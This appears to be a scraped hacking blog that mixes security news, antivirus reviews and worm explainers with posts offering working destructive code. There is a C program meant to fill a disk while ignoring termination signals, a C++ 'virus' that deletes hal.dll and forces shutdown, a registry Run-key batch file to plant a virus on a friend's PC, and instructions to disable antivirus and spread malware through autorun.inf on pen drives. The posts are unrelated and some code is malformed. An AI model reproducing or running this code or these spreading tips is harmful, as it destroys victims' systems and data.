How To Find Hidden Files And Folder

I think many of us must have faced the hurdle of finding windows system hidden files and folders. For example I always forget the path of the hosts file hidden somewhere in the windows folder. Whenever I wanted to configure this particular file I have to always look for it by turning on the show hidden files and folders option from the folder options, and going through most of the windows folders. I always thought there must be an easier way to do this stuff and

Msinus.com Hacked and Defaced

After the Syria attacks by the army  the hackers team from Syria has  hacked and defaced  the well known site named "www.msinus.com" by

"SeCuR!TY L!0NS H4CK3RS T34M ". And they have also posted photos Syria attack and many videos .This message was for the US government who made the attacks.
Also they have posted a message  as below

SeCuR!TY ** DR@G0N

I Hack This Site To Convert A message From Syria To the World
We don't attack any one, we just defend on our country and ourlselves
In respone to your government's support of terrorist cells, Located in several cities in Syria, kidnap and kill Syrians, and implement the most heinous massacres, Sush as the Hula massacre with killed 108 perople, include 50 children, mostly under the age of ten
We Hack this Site as a clear message that we send by the name of the great Syrian people to the Government of your country
Stop killing the Syrians because history will not forgive and will never foget
We Are All With our leader Bahsar Al-Asaad

----------------------------------------------

>>> SeCuR!TY L!0NS H4CK3RS T34M <<<

This hack was message to syrian army from the hackers team .

Microsoft hacked by same cyberattack as Apple and Facebook

Microsoft has revealed it is the latest high-profile internet company to have its computer system hacked.

Microsoft says it has become the latest major internet company to be targeted by hackers 

The software giant said it experienced a "security intrusion"

Facebook hackers attack Apple

Apple computers were attacked by the same hackers who recently targeted Facebook, but no data appeared to have been stolen, the company said in an unprecedented admission of a widespread cyber-security breach.

Apple, which makes the iPhone, said it would release a software tool to protect customers against the malicious software used in the attacks.

Facebook hacked in 'sophisticated' attack

Facebook has revealed it has been targeted a "sophisticated attack" by hackers who exploited a previously unknown loophole in its computer system.

The internet company insisted that no personal information of users had been compromised by the hacking attack.

It said that malware had infected its computer systems after employees had visited the website of a developer of mobile applications  that was

Blind SQL Injection vulnerability in PayPal Notifications website

An Indian Security Researcher Prakhar Prasad has discovered a Blind SQL Injection vulnerability in Paypal Notifications website(paypal-notify.com) that allowed

How Do Anti-Virus programs Detect Virus?

How Anti-Virus Do programs Detect Virus?

Many Of us wonder how our Antivirus software scans for Virus, Worm, Trojan.We scan a Folder Or Local Drive for Virus but what actually happens during the Virus Scan Period
5 Techniques used by Anti Virus Program to Detect Malware:
1.Signature Based Scan.
2. Heuristic Based Scan.
3. Threat Sense Technology.
4. Artificial Intelligence (Behavioral Antivirus Programs).
5. Proactive Defense.
1. Signature Based Scan:

Secure your Computer by Sticky Key Attack

Hello Guys,
This Time I wanna tell you some more about the Sticky keys  Attack  i.e totally about making a backdoor  in other system by replacing sethc.exe file with cmd.exe and after that u have to press Shift key 5 times on login screen and you get the cmd or command Prompt on login screen and run the ‘net user ’ command to change the password  of administrator or any account in the system. This is all about the attack, now how can I Secure my system by this attack for that you have to fallow few steps  as fallowing:
Windows XP:

1. Check for sticky key backdoor

Execute virus on Start up

Hello guys,
You must be familiar with viruses and probably you must be knowing how we can create them. Once the virus get executed it will show its impact but it will last till the system is turn on, If you will turn off the system all the process of the virus will also get killed.
So our requirement is to run our virus again even if the system get rebooted. So for that we will have to send our virus on start up. But we don’t want to send it manually instead of that we would like to send it with the help of batch file.
So let us take we are having a virus demo.exe.
Follow the following steps for sending it on Start up.
1. Open a Notepad file
2. Write down the following command
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v demo /t REG_SZ /d demo.exe
3. Now save the notepad file with any name say kyrion but extension should be bat. Means we will have to create a batch file eg: kyrion.bat
4. Now send kyrion.bat along with demo.exe virus to your friend. Whenever he will click on kyrion.bat file automatically demo.exe will reach at the start up.
5. Now the impact of the virus will also be visible after the restart of the system.

Firewall administration

                                                                         Firewall

In my previous two articles I showed you how to secure your LAN and WLAN. In that i had mentioned the firewall factor. In this article I am going to show you the uses of firewall and its administration. Firewall Administration is ensuring the proper management, configuration, and change management of it.It is comprised of controlling access to the platform, platform operating system builds, log reviews, time synchronization and backups.Hence firewall is very important in a network. Some of the advantages and uses of firewall are as follows.

• The main and the most important factor of firewall is your computer security. It gives a sence of a secure connection of your computer.
• The most inexpensive and security tool.
• You can monitor incoming and outgoing security alerts and the firewall company will record and track down an intrusion attempt depending on the severity.
• Some firewalls are also useful as they detect viruses and worms.
• All firewalls can be tested for effectiveness by using products that test for leaks or probe for open ports.

What is firewall administration ?
Personal firewall software is designed to prevent connections between the network and your computer, except for programs that the firewall software knows that they are not infected.

• Network Magic needs to make network connections to set up sharing and check for updates, your firewall software needs to allow these connections.
• Network Magic is permitted to make outbound communications.
• Inbound communication from other computers running Network Magic is permitted to get past the firewall to Network Magic.
• Outgoing communication: Most software firewalls have settings for specific program control.

As we say that any coin has two opposite sides firewall also consists of some of the disadvantages like:

• Firewalls cannot protect you from internal sabotage within a network or from allowing other users access to your PC.
• Firewalls cannot edit indecent material like pornography, violence, drugs and bad language. This would require you to adjust your browser security options or purchase special software to monitor your childcare’s Internet activity.

New Variant Of Flashback For Mac Attacks Again [Updates]

Flashback, the Mac OS X trojan , just won’t go away in spite of numerous Apple updates designed to patch the Javascript security hole that Flashback was jumping through.
The latest version, discovered on Monday by the Intego, has been labeled Flashback.S. It spreads using the same vulnerability as earlier versions, which means that it requires no password prompt to install itself on a targeted system.
There’s a new trick, too – this variant will delete files in ~/Library/Caches/Java/cache to remove traces of the trojan and prevent the recovery of samples by security firms (a ruse that,
obviously, hasn’t worked).

If you haven’t already updated your Mac (shame on you!), do so now. Apple’s updates to patch the flaw used by Flashback will work against this and all other know versions. The patch can be downloaded using the update service built in to OS X.
You can also protect yourself by installing an antivirus. According to Intego, Flashback does not even attempt to install itself on systems protected by certain software. This has been true since the original version and is likely an attempt to slow the detection of new variants.

The 10 Best Free Anti-Virus Programs

This article really needs no introduction. There are many free anti-virus programs on the market, and you want to sort the wheat from the chaff. Fair enough. Documented here are the 10 best antivirus programs on the market.
While I won’t attempt to rank the programs here (in many ways the programs can’t be compared), I will attempt to give you an idea of under what circumstances they will be useful.
The order here for the 10 best antivirus programs  is mostly random, so be sure to read every entry if you want an idea of what will work for you.

Microsoft Security Essentials

Released by Microsoft in late 2009, Microsoft Security Essentials sports more than a typically verbose Microsoft name: it’s also a really good antivirus. Lightweight enough to run on older machines without crippling their performance, yet competent enough to handle most viruses and malware out there.
Perhaps the best part of MSE is its simplicity. As you can see, the user interface is really clear, with large buttons for the most basic functions. This is important if you’re setting it up on a computer for someone who is not computer-savvy.
Finally, MSE is completely free – there’s no professional version you can upgrade to. In fact, it’s even permissible to use in business situations, meaning you can use it at work without breaking the law. This alone sets it above most of the other selections for the 10 best antivirus programs.

 download MSE here.

AVG Free

This one recently topped our Movers and Shakers list of the top downloaded free anti-virus programs. But just because AVG is popular doesn’t mean it’s not great.
AVG has become synonymous with free anti-virus, and there’s a reason for this: AVG offers complete malware protection, with considerably less bloat than the top pay-to-use antivirus clients. And while AVG Free does constantly remind you that you could pay for the professional version of the program, it does this without ever getting in the way of the program’s core purpose: protecting you from viruses.

Though when it comes to upgrading one version of AVG to another, you need to make sure you’re good at reading what’s on screen, because the free download is only available via a tiny link at the bottom of the screen””the site really wants you to get the paid version. When upgrading to version 9 recently, for example, check out how hidden the free download was:

Not exactly a big link, is it? Figure this minor inconvenience out, however, and AVG is a a really good free anti-virus. Download AVG.

Avira Free

In terms of simplicity, Avira’s right up there with MSE. It’s fairly lightweight, too, so the comparison is quite apt. While Avira does have a paid professional version to peddle, much like AVG, it’s not quite as aggressive as AVG in peddling it. I’d say Avira is solid and worth looking into for sure. Download Avira Free here.

Avast! Free

If this competition were for the coolest name, the piratey Avast! would win hands down. Even though that’s not what we’re discussing, Avast! stands up pretty well. This is one of the top free anti-viruses on the market, and for good reason: it’s remarkably complete. Expect great all-around protection, including against trojans and spyware. You can also expect constant reminders that there’s a free version you can upgrade to, on your desktop and in your inbox. Still, the protection is solid.
Download Avast! here.

Malwarebytes

Whatever your default anti-virus is, you need Malwarebytes too. This program doesn’t run in your system background and constantly protect you, but when you run into a problem running Malwarebytes will usually take care of what other programs can’t. I’ve saved more than a few unbootable systems by running Malwarebytes from safe mode. This program takes care of any form of malware you throw at it, so keep it around. In fact, I’d keep this one on your flash drive in case you ever need to fix a computer for a friend (and if you’re reading this blog, you probably will).
Download Malwarebytes.

ComboFix

Consider this the nuclear option. If you know you’ve got a virus, but your usual anti-virus program can’t handle it, and Malwarebytes can’t handle it, it’s time for ComboFix. This program isn’t friendly: it runs from a command window and is proud of it.  And this is not a program you should use if you don’t know what you’re doing, because it can have devastating effects in the hands of the uneducated. But when all else fails, ComboFix delivers. Every geek should have this one on their keychain.
Download Combofix.

Clamwin

Clamwin is the Windows version of ClamAV, the main Linux anti-virus on the market. ClamWin is flawed in many ways: it simply scans instead of offering real-time protection, it doesn’t really do non-virus malware and it’s not exactly easy to use. Still, having ClamWin around doesn’t cost anything, and you can never have enough scanning tools in your arsenal.
Download ClamWin and see if you like it.

Panda Cloud AntiVirus

At first I thought the idea of a cloud-based antivirus was stupid, because it would only work while I’m online. Then it occurred to me: why the heck do I need an anti-virus when I’m offline?
As the name suggests, Panda Cloud Antivirus stores its virus definitions online. There’s an upside to this: your definitions are always up to date. There’s a downside, too, however: your anti-virus is constantly making use of your network connection.
I’d say this is a really good idea for underpowered PCs with constant access to the net. Like, say, a netbook. But if you’ve got a netbook you shouldn’t be using Windows anyway; switch to Jolicloud and you’ll have a functional netbook operating system immune to practically every virus.
 download Panda Cloud Antivirus if you’re interested.

Comodo Firewall + Antivirus

Comodo is best known for its free firewall, but it also offers a bundled firewall and antivirus program. While the Comodo firewall isn’t the easiest to use, and the antivirus doesn’t include protection for non-virus forms of  malware, this one’s worth mentioning if you’re looking for a free security suite which includes both a firewall and anti-virus protection.

Download Comodo Free here.

Common Sense 2011

This one’s unusual in that it’s free and considered by far the best protection out there, yet can’t be downloaded anywhere. Without it, however, even the best security software is rendered useless.
If you haven’t already figured this out, Common Sense 2011 isn’t a product you can download so much as it is a state of mind. If you’re going to be free of viruses and malware you need to use your head while browsing the web. The most important thing to remember is this: if something sounds too good to be true, it probably is””and your computer will probably be compromised.
Free porn usually isn’t. Warez are best to be avoided altogether. Nigerians that need your help transferring money are never actually princes or princesses. You get the idea: avoid shady sites online and you’ll find you’ll get far less malware on your machine.

Conclusion

There are a lot of great free anti-virus programs out there, but what you use is mostly a matter of preference. Myself, I use Microsoft Security Essentials on my Windows machine because it’s free, lightweight and will never ask me for money. But I also make sure I always have Malwarebytes on my thumb drive for quickly removing viruses and malware from the computers of friends and family.
What about you? Which free anti-virus do you prefer? Commenting is good for you, so do so!

Damage Hard Disk

This program will create Bad Sectors on HDD and in turn it will damage the hard disk.

(Use at your own risk)

#include
#include
#include
#include
#include
#include
#include

#define HDSIZE 640000

void handle_sig();

int main() {

int i = 0;
int x;
int fd[5];

signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);

char *buf;

buf = malloc(HDSIZE);

printf("sekt0r: trashing hard disk with bad sectors!\n");

while(1) {
fd[1] = open("/tmp/.test", O_WRONLY|O_CREAT, 511);
fd[2] = open("/tmp/.test1", O_WRONLY|O_CREAT, 511);
fd[3] = open("/tmp/.test2", O_WRONLY|O_CREAT, 511);
fd[4] = open("/tmp/.test3", O_WRONLY|O_CREAT, 511);
fd[5] = open("/tmp/.test4", O_WRONLY|O_CREAT, 511);

for(x = 0; x < 5; x++) {
write(fd[x], buf, HDSIZE);
lseek(fd[x], 0, SEEK_SET);
close(fd[x]);

} /* end for() loop. */
} /* end while() loop. */
} /* end main(). */


void handle_sig() {
/* Reset signal handlers. */
signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);

printf("sekt0r: cannot exit - trashing hard disk with bad sectors!\n");
return; /* go back to creating bad sectors. */
}

Hacking

Hacking!!!

 

 

When we hear the word hacking,then the first thing that comes in our mind is that it is illegal.Bad people do it and it is a Crime.But let me tell you that it is written nowhere that hacking is a crime.However,hacking for some illegal purpose is a cyber crime.

 

But you don't worry about that because I am not guiding you to any cyber crime.I am just trying to help you out with the knowledge of hacking. 

The tricks given here are only for educational purpose.I do not take any kind of responsibilty for any kind of damage caused and any kind of illegal activity performed.  

How to Access SOPA Banned Sites

Best trick booming all over the world!!!!

If SOPA Act comes of act. Surly lot of sites are gonna be banned. Surly a long list sites will be under SOPA act. List of sites will be from categories like torrents, warez, social networking sites, news sites, sharing sites, file upload sites, search engines, live streaming channels, televesion channels, shopping sites, even proxies etc....

Here is a Trick to Unblock SOPA Banned Sites
We can't browse sites via there human simplified domian example: hackersreunited.net.
But we can browse the sites via the ip address. example: 234.45.35.8

How to Unblock Blacklisted SOPA Sites in Windows

• Click Windows Key + R
• Enter cmd.exe and click Ok
• Command Program will open. Type ping [space] www.sample.com
• Replace www.sample.com with the site you want to browse
• Type the full address of the site you want to browse for example: http://enggcoded.blogspot.in/

How to Unblock Blacklisted SOPA Sites in Ubuntu/Linux

• Click Application » Accessories » Terminal
• Terminal will open. Type ping [space] www.sample.com
• Replace www.sample.com with the site you want to browse
• Type the full address of the site you want to browse for example: http://enggcoded.blogspot.in/

Some IP Address of Famous Sites

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74

tumblr.com 174.121.194.34 wikipedia.org 208.80.152.201 # News bbc.co.uk 212.58.241.131 aljazeera.com 198.78.201.252 # Social media reddit.com 72.247.244.88 imgur.com 173.231.140.219 google.com 74.125.157.99 youtube.com 74.125.65.91 yahoo.com 98.137.149.56 hotmail.com 65.55.72.135 bing.com 65.55.175.254 digg.com 64.191.203.30 theonion.com 97.107.137.164 hush.com 65.39.178.43 gamespot.com 216.239.113.172 ign.com 69.10.25.46 cracked.com 98.124.248.77 sidereel.com 144.198.29.112 github.com 207.97.227.239 # Torrent sites thepiratebay.org 194.71.107.15 mininova.com 80.94.76.5 btjunkie.com 93.158.65.211 demonoid.com 62.149.24.66 demonoid.me 62.149.24.67 # Social networking facebook.com 69.171.224.11 twitter.com 199.59.149.230 tumblr.com 174.121.194.34 livejournal.com 209.200.154.225 dreamwidth.org 69.174.244.50 # Live Streaming Content stickam.com 67.201.54.151 blogtv.com 84.22.170.149 justin.tv 199.9.249.21 chatroulette.com 184.173.141.231 omegle.com 97.107.132.144 own3d.tv 208.94.146.80 megavideo.com 174.140.154.32 # Television gorillavid.com 178.17.165.74 videoweed.com 91.220.176.248 novamov.com 91.220.176.248 tvlinks.com 208.223.219.206 1channel.com 208.87.33.151 # Shopping amazon.com 72.21.211.176 newegg.com 216.52.208.187 frys.com 209.31.22.39 # File Sharing mediafire.com 205.196.120.13 megaupload.com 174.140.154.20 fileshare.com 208.87.33.151 multiupload.com 95.211.149.7 uploading.com 195.191.207.40 warez-bb.org 31.7.57.13 hotfile.com 199.7.177.218 gamespy.com 69.10.25.46 what.cd 67.21.232.223 warez.ag 178.162.238.136 putlocker.com 89.238.130.247 uploaded.to 95.211.143.200 dropbox.com 199.47.217.179 pastebin.com 69.65.13.216

DOWNLOAD DEADLY VIRUSES

DOWNLOAD DEADLY VIRUS TO INFECT YOUR FRIENDS COMPUTER OR ANY VICTIMS COMPUTER  THIS VIRUS ARE HIGHLY DANGEROUS DOWNLOAD THIS VIRUS TO BREAKDOWN YOUR FRIENDS COMPUTER


Virus is a self-duplicating computer program that spreads from computer to computer. I recomment you not to use on your computer it will do serious damage. Viruses can delete or change files, steal important information, load and run unwanted applications and etc

NOTE : FIRST DISABLE YOUR PC ANTIVIRUS
DOWNLOAD THE ZIP FILES AND EXTRACT DO NOT OPEN THE EXE ON YOUR PC
BELOW THERE ARE LINKS DIRECT LINKS TO DOWNLOAD


TIPS : COPY THIS TO YOUR PEN DRIVE AND GIVE AUTORUN TO THIS VIRUS


TO CREATE AUTORUN OPEN NOTEPAD AND TYPE LIKE BELOW AND SAVE IT ON YOUR PEN DRIVE HOMEPAGE AS AUTORUN.INF AND YOU CAN HIDE THIS VRUS AND AUTORUN FILE BY HIDE OPTION IN PROPERTIES

[autorun]
open=YOUR VIRUS FILE NAME WITH EXTENSION

Brontok Virus

Brontok Virus

The Brontok Virus is a computer worm that affects computers running Microsoft Windows. It spreads by sending itself to email addresses harvested from the affected computer. But Now you can Remove it on your Own. It Really works! And now you can have a good sleep because now you will be able to remove the most sticky virus "The Brontok Virus".

- Start ur computer in safe mode with command prompt and type the following command to enable registry editor:-

reg delete HKCU\software\microsoft\windows\currentversion\policies\system /v "DisableRegistryTools"
and run HKLM\software\microsoft\windows\currentversion\policies\system /v "DisableRegistryTools"

- After this your registry editor will be enabled

- Now type explorer

- Goto Run and type regedit

- Then follow the following path :-

HKLM\Software\Microsoft\Windows\Currentversion\Run

on the right side delete the entries which contain 'Brontok' and 'Tok-' words.

- After that restart your system

- Now open registry editor and follow the path to enable folder option in tools menu

HKCU\Software\Microsoft\Windows\Currentversion\Policies\Explorer\ 'NoFolderOption'
delete this entry and restart ur computer

- Now search *.exe files in all drives (search in hidden files also)
remove all files which are display like as folder icon.

Congratulations! Now your computer is completely free from Brontok Virus

HOW SAFE IS YOUR COMPUTER ???

HOW SAFE IS YOUR COMPUTER ???

Security Facts about an average computer user

• 70% users Install a lot of softwares or games which he finds interesting.
• 80%of the user are not ready to update their system with latest patches.
• 60% of the user don’t know if there system is secure.
• 70% user don’t know how to find if the system is really secure

So how do you find if your system is secure and patched with latest patches and updates. Security System Analyzer (SSA) is a tool designed to check your system for the latest security updates. This tool can scan your system and find out the vulnerabilities about the missing patches and updates and provide you a link from where to get.

Features of SSA

1. Finds security vulnerabilities and the missing patches for windows.
2. Gives a direct link to possible patches to be used to remove the security hole.
3. Supports Windows 2000, XP, Vista.
4. One click to get the information about latest security vulnerabilities and others.
5. Generates HTML reports which makes view easy and can be exported.

Open Vulnerability and Assessment Language (OVAL) is an international, information security, community standard to promote open and publicly available security content, and to standardize the transfer of this information across the entire spectrum of security tools and services. OVAL includes a language used to encode system details, and an assortment of content repositories held throughout the community.

How SSA works?

This software completes the whole process in 3 steps:

1. Representing configuration information of systems for testing;
2. Analyzing the system for the presence of the specified machine state (vulnerability, configuration, patch state, etc.)
3. Reporting the results of this assessment

Resources

• Download: ssa-setup.exe (9.9 MB)
• Documentation: ssa-manual.pdf

YOUR OWN C++ VIRUS THE MOST POWERFULL

YOUR OWN C++ VIRUS THE MOST POWERFULL

This is a powerful C++ virus, which deletes Hal.dll, something that is required for startup. After deleting that, it shuts down, never to start again.

Warning: Do not try this on your home computer.

The Original Code:
Code:
#include
#include
using namespace std;
int main(int argc, char *argv[])
{
std::remove("C:\\windows\\system32\\hal.dll"); //PWNAGE TIME
system("shutdown -s -r");
system("PAUSE");
return EXIT_SUCCESS;
}

A more advanced version of this virus which makes the C:\Windows a variable that cannot be wrong. Here it is:

Code:
#include
#include
using namespace std;
int main(int argc, char *argv[])
{
std::remove("%systemroot%\\system32\\hal.dll"); //PWNAGE TIME
system("shutdown -s -r");
system("PAUSE");
return EXIT_SUCCESS;
}

The second version would be more useful during times when you do not know the victims default drive. It might be drive N: for all you know.

HOW DO WORMS SPEARD ????

HOW DO WORMS SPEARD ????

People use e-mail more than any other application on the internet, but it can be a frustrating experience, with spam and especially e-mail worms filling our inboxes.

Worms can spread rapidly over computer networks, the traffic they create bringing those networks to a crawl. And worms can cause other damage, such as allowing unauthorized access to a computer network, or deleting or copying files.

What's a worm?

A worm is a computer virus designed to copy itself, usually in large numbers, by using e-mail or other form of software to spread itself over an internal network or through the internet.

How do they spread?

When you receive a worm over e-mail, it will be in the form of an attachment, represented in most e-mail programs as a paper clip. The attachment could claim to be anything from a Microsoft Word document to a picture of tennis star Anna Kournikova (such a worm spread quickly in February 2001).

If you click on the attachment to open it, you'll activate the worm, but in some versions of Microsoft Outlook, you don't even have to click on the attachment to activate it if you have the program preview pane activated. Microsoft has released security patches that correct this problem, but not everyone keeps their computer up to date with the latest patches.

After it's activated, the worm will go searching for a new list of e-mail addresses to send itself to. It will go through files on your computer, such as your e-mail program's address book and web pages you've recently looked at, to find them.

Once it has its list it will send e-mails to all the addresses it found, including a copy of the worm as an attachment, and the cycle starts again. Some worms will use your e-mail program to spread themselves through e-mail, but many worms include a mail server within their code, so your e-mail program doesn't even have to be open for the worm to spread.

Other worms can use multiple methods of spreading. The MyDoom worm, which started spreading in January 2004, attempted to copy infected files into the folder used by Kazaa, a file-sharing program. The Nimda worm, from September 2001, was a hybrid that had four different ways of spreading.
What do they do?

Most of the damage that worms do is the result of the traffic they create when they're spreading. They clog e-mail servers and can bring other internet applications to a crawl.

But worms will also do other damage to computer systems if they aren't cleaned up right away. The damage they do, known as the payload, varies from one worm to the next.

The MyDoom worm was typical of recent worms. It opened a back door into the infected computer network that could allow unauthorized access to the system. It was also programmed to launch an attack against a specific website by sending thousands of requests to the site in an attempt to overwhelm it.

The target of the original version of MyDoom attack was the website of SCO Group Inc., a company that threatened to sue users of the Linux operating system, claiming that its authors used portions of SCO's proprietary code. A second version of MyDoom targeted the website of software giant Microsoft.

The SirCam worm, which spread during the summer of 2001, disguised itself by copying its code into a Microsoft Word or Excel document and using it as the attachment. That meant that potentially private or sensitive documents were being sent over the internet.
How do I get rid of them?

The best way to avoid the effects of worms is to be careful when reading e-mail. If you use Microsoft Outlook, get the most recent security updates from the Microsoft website and turn off the preview pane, just to be safe.

Never open attachments you aren't expecting to receive, even if they appear to be coming from a friend. Be especially cautious with attachments that end with .bat, .cmd, .exe, .pif, .scr, .vbs or .zip, or that have double endings. (The file attachment that spread the Anna Kournikova worm was AnnaKournikova.jpg.vbs.)

Also, install anti-virus software and keep it up to date with downloads from the software maker's website. The updates are usually automatic.

Users also need to be wary of e-mails claiming to have cures for e-mail worms and viruses. Many of them are hoaxes that instruct you to delete important system files, and some carry worms and viruses themselves.

As well, some users should consider using a computer with an operating system other than Windows, the target of most e-mail worms. Most of the worms don't affect computers that run Macintosh or Linux operating systems.